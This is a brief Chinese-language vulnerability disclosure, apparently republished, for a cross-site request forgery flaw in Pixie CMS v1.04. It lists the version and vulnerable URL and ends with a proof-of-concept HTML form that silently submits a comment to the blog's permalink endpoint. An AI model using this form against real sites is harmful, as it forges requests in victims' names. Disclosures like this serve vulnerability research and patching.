前文：http://www.2cto.com/Article/201111/111130.html

标题: Pixie v1.04 blog post CSRF

作者: hackme

下载地址http://pixie-cms.googlecode.com/files/pixie_v1.04.zip

影响版本: 1.04# Tested on: Linux Ubuntu 10.10

问题地址: http://www.2cto.com /pixie/?s=blog&m=permalink&x=my-first-post

[+] Post Method

[+] 测试示例:

<form method="POST" action="http://www.2cto.com /pixie/?s=blog&m=permalink&x=my-first-post">

name: <input type="Text" name="name" id="name" size="15"/><br>

e-mail: <input type="Text" name="email" id="email" size="15"/>

<br>web(optional): <input type="Text" name="web" id="web" size="15"/><br>

comment: <input type="Text" name="comment" id="comment" size="15"/><br>

<input type="Submit" name="comment_submit" id="comment_submit" value="invia" size="15"/>

<input type="Hidden" name="post" id="post" value="1"/></form>